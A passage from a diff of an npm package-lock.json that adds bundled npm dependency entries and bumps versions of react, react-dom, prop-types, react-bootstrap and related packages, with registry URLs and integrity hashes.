}, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "npm-pick-manifest": { + "version": "2.1.0", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "path-is-inside": { + "version": "1.0.2", + "bundled": true + }, + "promise-inflight": { + "version": "1.0.1", + "bundled": true + }, + "qrcode-terminal": { + "version": "0.12.0", + "bundled": true + }, + "query-string": { + "version": "6.1.0", + "bundled": true, + "requires": { + "decode-uri-component": "0.2.0", + "strict-uri-encode": "2.0.0" + }, + "dependencies": { + "decode-uri-component": { + "version": "0.2.0", + "bundled": true + }, + "strict-uri-encode": { + "version": "2.0.0", + "bundled": true + } + } + }, + "qw": { + "version": "1.0.1", + "bundled": true + }, + "read": { + "version": "1.0.7", + "bundled": true, + "requires": { + "mute-stream": "0.0.7" + }, + "dependencies": { + "mute-stream": { + "version": "0.0.7", + "bundled": true + } + } + }, + "read-cmd-shim": { + "version": "1.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11" + } + }, + "read-installed": { + "version": "4.0.3", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "graceful-fs": "4.1.11", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2", + "semver": "5.5.0", + "slide": "1.1.6", + "util-extend": "1.0.3" + }, + "dependencies": { + "util-extend": { + "version": "1.0.3", + "bundled": true + } + } + }, + "read-package-json": { + "version": "2.0.13", + "bundled": true, + "requires": { + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "json-parse-better-errors": "1.0.1", + "normalize-package-data": "2.4.0", + "slash": "1.0.0" + }, + "dependencies": { + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + }, + "slash": { + "version": "1.0.0", + "bundled": true + } + } + }, + "read-package-tree": { + "version": "5.2.1", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "once": "1.4.0", + "read-package-json": "2.0.13", + "readdir-scoped-modules": "1.0.2" + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "1.0.0", + "bundled": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true + } + } + }, + "readdir-scoped-modules": { + "version": "1.0.2", + "bundled": true, + "requires": { + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "graceful-fs": "4.1.11", + "once": "1.4.0" + } + }, + "request": { + "version": "2.85.0", + "bundled": true, + "requires": { + "aws-sign2": "0.7.0", + "aws4": "1.6.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.1", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.18", + "oauth-sign": "0.8.2", + "performance-now": "2.1.0", + "qs": "6.5.1", + "safe-buffer": "5.1.2", + "stringstream": "0.0.5", + "tough-cookie": "2.3.4", + "tunnel-agent": "0.6.0", + "uuid": "3.2.1" + }, + "dependencies": { + "aws-sign2": { + "version": "0.7.0", + "bundled": true + }, + "aws4": { + "version": "1.6.0", + "bundled": true + }, + "caseless": { + "version": "0.12.0", + "bundled": true + }, + "combined-stream": { + "version": "1.0.6", + "bundled": true, + "requires": { + "delayed-stream": "1.0.0" + }, + "dependencies": { + "delayed-stream": { + "version": "1.0.0", + "bundled": true + } + } + }, + "extend": { + "version": "3.0.1", + "bundled": true + }, + "forever-agent": { + "version": "0.6.1", + "bundled": true + }, + "form-data": { + "version": "2.3.2", + "bundled": true, + "requires": { + "asynckit": "0.4.0", + "combined-stream": "1.0.6", + "mime-types": "2.1.18" + }, + "dependencies": { + "asynckit": { + "version": "0.4.0", + "bundled": true + } + } + }, + "har-validator": { + "version": "5.0.3", + "bundled": true, + "requires": { + "ajv": "5.5.2", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.5.2", + "bundled": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + }, + "dependencies": { + "co": { + "version": "4.6.0", + "bundled": true + }, + "fast-deep-equal": { + "version": "1.1.0", + "bundled": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "bundled": true + }, + "json-schema-traverse": { + "version": "0.3.1", + "bundled": true + } + } + }, + "har-schema": { + "version": "2.0.0", + "bundled": true + } + } + }, + "hawk": { + "version": "6.0.2", + "bundled": true, + "requires": { + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" + }, + "dependencies": { + "boom": { + "version": "4.3.1", + "bundled": true, + "requires": { + "hoek": "4.2.1" + } + }, + "cryptiles": { + "version": "3.1.2", + "bundled": true, + "requires": { + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "bundled": true, + "requires": { + "hoek": "4.2.1" + } + } + } + }, + "hoek": { + "version": "4.2.1", + "bundled": true + }, + "sntp": { + "version": "2.1.0", + "bundled": true, + "requires": { + "hoek": "4.2.1" + } + } + } + }, + "http-signature": { + "version": "1.2.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.14.1" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + }, + "jsprim": { + "version": "1.4.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + }, + "dependencies": { + "extsprintf": { + "version": "1.3.0", + "bundled": true + }, + "json-schema": { + "version": "0.2.3", + "bundled": true + }, + "verror": { + "version": "1.10.0", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "1.3.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + } + } + } + } + }, + "sshpk": { + "version": "1.14.1", + "bundled": true, + "requires": { + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.1", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "tweetnacl": "0.14.5" + }, + "dependencies": { + "asn1": { + "version": "0.2.3", + "bundled": true + }, + "bcrypt-pbkdf": { + "version": "1.0.1", + "bundled": true, + "optional": true, + "requires": { + "tweetnacl": "0.14.5" + } + }, + "dashdash": { + "version": "1.14.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true, + "requires": { + "jsbn": "0.1.1" + } + }, + "getpass": { + "version": "0.1.7", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + } + }, + "jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true + }, + "tweetnacl": { + "version": "0.14.5", + "bundled": true, + "optional": true + } + } + } + } + }, + "is-typedarray": { + "version": "1.0.0", + "bundled": true + }, + "isstream": { + "version": "0.1.2", + "bundled": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "bundled": true + }, + "mime-types": { + "version": "2.1.18", + "bundled": true, + "requires": { + "mime-db": "1.33.0" + }, + "dependencies": { + "mime-db": { + "version": "1.33.0", + "bundled": true + } + } + }, + "oauth-sign": { + "version": "0.8.2", + "bundled": true + }, + "performance-now": { + "version": "2.1.0", + "bundled": true + }, + "qs": { + "version": "6.5.1", + "bundled": true + }, + "stringstream": { + "version": "0.0.5", + "bundled": true + }, + "tough-cookie": { + "version": "2.3.4", + "bundled": true, + "requires": { + "punycode": "1.4.1" + }, + "dependencies": { + "punycode": { + "version": "1.4.1", + "bundled": true + } + } + }, + "tunnel-agent": { + "version": "0.6.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } + } + }, + "retry": { + "version": "0.12.0", + "bundled": true + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "requires": { + "glob": "7.1.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, + "semver": { + "version": "5.5.0", + "bundled": true + }, + "sha": { + "version": "2.0.1", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "readable-stream": "2.3.6" + } + }, + "slide": { + "version": "1.1.6", + "bundled": true + }, + "sorted-object": { + "version": "2.0.1", + "bundled": true + }, + "sorted-union-stream": { + "version": "2.1.3", + "bundled": true, + "requires": { + "from2": "1.3.0", + "stream-iterate": "1.2.0" + }, + "dependencies": { + "from2": { + "version": "1.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "1.1.14" + }, + "dependencies": { + "readable-stream": { + "version": "1.1.14", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "0.0.1", + "string_decoder": "0.10.31" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "isarray": { + "version": "0.0.1", + "bundled": true + }, + "string_decoder": { + "version": "0.10.31", + "bundled": true + } + } + } + } + }, + "stream-iterate": { + "version": "1.2.0", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "ssri": { + "version": "5.3.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "bundled": true + } + } + }, + "tar": { + "version": "4.4.2", + "bundled": true, + "requires": { + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", + "yallist": "3.0.2" + }, + "dependencies": { + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "requires": { + "minipass": "2.2.4" + } + }, + "minipass": { + "version": "2.2.4", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.2" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "requires": { + "minipass": "2.2.4" + } + }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, + "yallist": { + "version": "3.0.2", + "bundled": true + } + } + }, + "text-table": { + "version": "0.2.0", + "bundled": true + }, + "tiny-relative-date": { + "version": "1.3.0", + "bundled": true + }, + "uid-number": { + "version": "0.0.6", + "bundled": true + }, + "umask": { + "version": "1.1.0", + "bundled": true + }, + "unique-filename": { + "version": "1.1.0", + "bundled": true, + "requires": { + "unique-slug": "2.0.0" + }, + "dependencies": { + "unique-slug": { + "version": "2.0.0", + "bundled": true, + "requires": { + "imurmurhash": "0.1.4" + } + } + } + }, + "unpipe": { + "version": "1.0.0", + "bundled": true + }, + "update-notifier": { + "version": "2.5.0", + "bundled": true, + "requires": { + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", + "import-lazy": "2.1.0", + "is-ci": "1.1.0", + "is-installed-globally": "0.1.0", + "is-npm": "1.0.0", + "latest-version": "3.1.0", + "semver-diff": "2.1.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "boxen": { + "version": "1.3.0", + "bundled": true, + "requires": { + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.4.1", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "2.0.0" + }, + "dependencies": { + "ansi-align": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + }, + "camelcase": { + "version": "4.1.0", + "bundled": true + }, + "cli-boxes": { + "version": "1.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "term-size": { + "version": "1.2.0", + "bundled": true, + "requires": { + "execa": "0.7.0" + }, + "dependencies": { + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.2", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "widest-line": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + } + } + }, + "chalk": { + "version": "2.4.1", + "bundled": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "bundled": true, + "requires": { + "color-convert": "1.9.1" + }, + "dependencies": { + "color-convert": { + "version": "1.9.1", + "bundled": true, + "requires": { + "color-name": "1.1.3" + }, + "dependencies": { + "color-name": { + "version": "1.1.3", + "bundled": true + } + } + } + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "bundled": true + }, + "supports-color": { + "version": "5.4.0", + "bundled": true, + "requires": { + "has-flag": "3.0.0" + }, + "dependencies": { + "has-flag": { + "version": "3.0.0", + "bundled": true + } + } + } + } + }, + "configstore": { + "version": "3.1.2", + "bundled": true, + "requires": { + "dot-prop": "4.2.0", + "graceful-fs": "4.1.11", + "make-dir": "1.2.0", + "unique-string": "1.0.0", + "write-file-atomic": "2.3.0", + "xdg-basedir": "3.0.0" + }, + "dependencies": { + "dot-prop": { + "version": "4.2.0", + "bundled": true, + "requires": { + "is-obj": "1.0.1" + }, + "dependencies": { + "is-obj": { + "version": "1.0.1", + "bundled": true + } + } + }, + "make-dir": { + "version": "1.2.0", + "bundled": true, + "requires": { + "pify": "3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "bundled": true + } + } + }, + "unique-string": { + "version": "1.0.0", + "bundled": true, + "requires": { + "crypto-random-string": "1.0.0" + }, + "dependencies": { + "crypto-random-string": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "import-lazy": { + "version": "2.1.0", + "bundled": true + }, + "is-ci": { + "version": "1.1.0", + "bundled": true, + "requires": { + "ci-info": "1.1.3" + }, + "dependencies": { + "ci-info": { + "version": "1.1.3", + "bundled": true + } + } + }, + "is-installed-globally": { + "version": "0.1.0", + "bundled": true, + "requires": { + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" + }, + "dependencies": { + "global-dirs": { + "version": "0.1.1", + "bundled": true, + "requires": { + "ini": "1.3.5" + } + }, + "is-path-inside": { + "version": "1.0.1", + "bundled": true, + "requires": { + "path-is-inside": "1.0.2" + } + } + } + }, + "is-npm": { + "version": "1.0.0", + "bundled": true + }, + "latest-version": { + "version": "3.1.0", + "bundled": true, + "requires": { + "package-json": "4.0.1" + }, + "dependencies": { + "package-json": { + "version": "4.0.1", + "bundled": true, + "requires": { + "got": "6.7.1", + "registry-auth-token": "3.3.2", + "registry-url": "3.1.0", + "semver": "5.5.0" + }, + "dependencies": { + "got": { + "version": "6.7.1", + "bundled": true, + "requires": { + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" + }, + "dependencies": { + "create-error-class": { + "version": "3.0.2", + "bundled": true, + "requires": { + "capture-stack-trace": "1.0.0" + }, + "dependencies": { + "capture-stack-trace": { + "version": "1.0.0", + "bundled": true + } + } + }, + "duplexer3": { + "version": "0.1.4", + "bundled": true + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-redirect": { + "version": "1.0.0", + "bundled": true + }, + "is-retry-allowed": { + "version": "1.1.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "lowercase-keys": { + "version": "1.0.1", + "bundled": true + }, + "timed-out": { + "version": "4.0.1", + "bundled": true + }, + "unzip-response": { + "version": "2.0.1", + "bundled": true + }, + "url-parse-lax": { + "version": "1.0.0", + "bundled": true, + "requires": { + "prepend-http": "1.0.4" + }, + "dependencies": { + "prepend-http": { + "version": "1.0.4", + "bundled": true + } + } + } + } + }, + "registry-auth-token": { + "version": "3.3.2", + "bundled": true, + "requires": { + "rc": "1.2.7", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "rc": { + "version": "1.2.7", + "bundled": true, + "requires": { + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.5.1", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + }, + "registry-url": { + "version": "3.1.0", + "bundled": true, + "requires": { + "rc": "1.2.7" + }, + "dependencies": { + "rc": { + "version": "1.2.7", + "bundled": true, + "requires": { + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "deep-extend": { + "version": "0.5.1", + "bundled": true + }, + "minimist": { + "version": "1.2.0", + "bundled": true + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true + } + } + } + } + } + } + } + } + }, + "semver-diff": { + "version": "2.1.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "xdg-basedir": { + "version": "3.0.0", + "bundled": true + } + } + }, + "uuid": { + "version": "3.2.1", + "bundled": true + }, + "validate-npm-package-license": { + "version": "3.0.3", + "bundled": true, + "requires": { + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" + }, + "dependencies": { + "spdx-correct": { + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" + }, + "dependencies": { + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + } + } + }, + "spdx-expression-parse": { + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + }, + "dependencies": { + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true + }, + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + } + } + } + } + }, + "validate-npm-package-name": { + "version": "3.0.0", + "bundled": true, + "requires": { + "builtins": "1.0.3" + }, + "dependencies": { + "builtins": { + "version": "1.0.3", + "bundled": true + } + } + }, + "which": { + "version": "1.3.0", + "bundled": true, + "requires": { + "isexe": "2.0.0" + }, + "dependencies": { + "isexe": { + "version": "2.0.0", + "bundled": true + } + } + }, + "worker-farm": { + "version": "1.6.0", + "bundled": true, + "requires": { + "errno": "0.1.7" + }, + "dependencies": { + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + }, + "dependencies": { + "prr": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true + }, + "write-file-atomic": { + "version": "2.3.0", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "imurmurhash": "0.1.4", + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } + } + } + }, "null-loader": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", @@ -6491,37 +10591,26 @@ "dev": true }, "performance-now": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-0.2.0.tgz", - "integrity": "sha1-M+8wxcd9TqIcWlOGnZG1bY8lVeU=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", "dev": true }, "phantomjs-prebuilt": { - "version": "2.1.15", - "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.15.tgz", - "integrity": "sha1-IPhugtM0nFBZF1J3RbekEeCLOQM=", + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/phantomjs-prebuilt/-/phantomjs-prebuilt-2.1.16.tgz", + "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "4.0.5", - "extract-zip": "1.6.5", + "es6-promise": "4.2.4", + "extract-zip": "1.6.6", "fs-extra": "1.0.0", "hasha": "2.2.0", "kew": "0.7.0", "progress": "1.1.8", - "request": "2.81.0", + "request": "2.85.0", "request-progress": "2.0.1", - "which": "1.2.14" - }, - "dependencies": { - "which": { - "version": "1.2.14", - "resolved": "https://registry.npmjs.org/which/-/which-1.2.14.tgz", - "integrity": "sha1-mofEN48D6CfOyvGs31bHNsAcFOU=", - "dev": true, - "requires": { - "isexe": "2.0.0" - } - } + "which": "1.3.0" } }, "pify": { @@ -7193,12 +11282,13 @@ } }, "prop-types": { - "version": "15.5.10", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.5.10.tgz", - "integrity": "sha1-J5ffwxJhguOpXj37suiT3ddFYVQ=", + "version": "15.6.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.1.tgz", + "integrity": "sha512-4ec7bY1Y66LymSUOH/zARVYObB23AT2h8cf6e/O6ZALB/N0sqZFEx7rq6EYPX2MkOdKORuooI/H5k9TlR4q7kQ==", "requires": { - "fbjs": "0.8.14", - "loose-envify": "1.3.1" + "fbjs": "0.8.16", + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "prop-types-extra": { @@ -7367,25 +11457,25 @@ "integrity": "sha1-5h0FRL+dQgjlujL8UJYhWef5UqM=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react/-/react-15.6.1.tgz", - "integrity": "sha1-uqhDTsZ4C96ZfNw4C3nNM7ljk98=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", + "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", "requires": { - "create-react-class": "15.6.0", - "fbjs": "0.8.14", + "create-react-class": "15.6.3", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-addons-test-utils": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.0.tgz", - "integrity": "sha1-Bi02EX/o0Y87peBuszODsLhepbk=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", + "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", "dev": true }, "react-base16-styling": { @@ -7400,19 +11490,18 @@ } }, "react-bootstrap": { - "version": "0.31.2", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.2.tgz", - "integrity": "sha512-6rEK6/Z0UStWkwROhNZ2RW+88AJ83d5i5nGJYoW88JoiAhkOd3MMKaJ4AQZKu+nZ3RWSNzHIKozuBb9N+ewOeA==", + "version": "0.31.5", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.31.5.tgz", + "integrity": "sha512-xgDihgX4QvYHmHzL87faDBMDnGfYyqcrqV0TEbWY+JizePOG1vfb8M3xJN+6MJ3kUYqDtQSZ7v/Q6Y5YDrkMdA==", "requires": { "babel-runtime": "6.25.0", "classnames": "2.2.5", - "dom-helpers": "3.2.1", + "dom-helpers": "3.3.1", "invariant": "2.2.2", "keycode": "2.1.9", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "prop-types-extra": "1.0.1", - "react-overlays": "0.7.0", - "react-prop-types": "0.4.0", + "react-overlays": "0.7.4", "uncontrollable": "4.1.0", "warning": "3.0.0" } @@ -7426,20 +11515,21 @@ } }, "react-copy-to-clipboard": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.0.tgz", - "integrity": "sha1-I8zdfE2ewsx2ODnipVsSIK608z0=", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", + "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { "copy-to-clipboard": "3.0.8", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-data-components": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.1.1.tgz", - "integrity": "sha512-b6gq3tXSQ0hHTH1iNoBQODQw4Y5km5vCpUV4SK7TaS6RZt4TSXxL5vbqoMToccSnImSGZdrjvx1Sp2zju+LyxA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", + "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "4.17.4" + "lodash": "4.17.4", + "prop-types": "15.6.1" } }, "react-dimensions": { @@ -7451,14 +11541,14 @@ } }, "react-dom": { - "version": "15.6.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.1.tgz", - "integrity": "sha1-LLDtQZEDjlPCCes6eaI+Kkz5lHA=", + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-15.6.2.tgz", + "integrity": "sha1-Qc+t9pO3V/rycIRDodH9WgK+9zA=", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-fa": { @@ -7467,18 +11557,18 @@ "integrity": "sha1-aR4FbGj/S+h2OReiH34+rvO+jg8=", "requires": { "font-awesome": "4.7.0", - "prop-types": "15.5.10" + "prop-types": "15.6.1" } }, "react-graph-vis": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.3.tgz", - "integrity": "sha1-s5n5ECjXvQof0blcPM7lycRUgOE=", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-0.1.4.tgz", + "integrity": "sha512-njoLkjRCKUxjdVDIyTw1RJH4XE5Jp9WPXlBVR7yy2Wti+Rffrw99+xpYrq8pgfjcCOAByleLtDkSxHHUJSh4lg==", "requires": { "lodash": "4.17.4", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "uuid": "2.0.3", - "vis": "4.20.1" + "vis": "4.21.0" }, "dependencies": { "uuid": { @@ -7521,7 +11611,7 @@ "integrity": "sha1-cmMXOizIvwXqxjsEGcPOdbIy4oQ=", "requires": { "babel-runtime": "6.25.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-base16-styling": "0.5.3" } }, @@ -7532,7 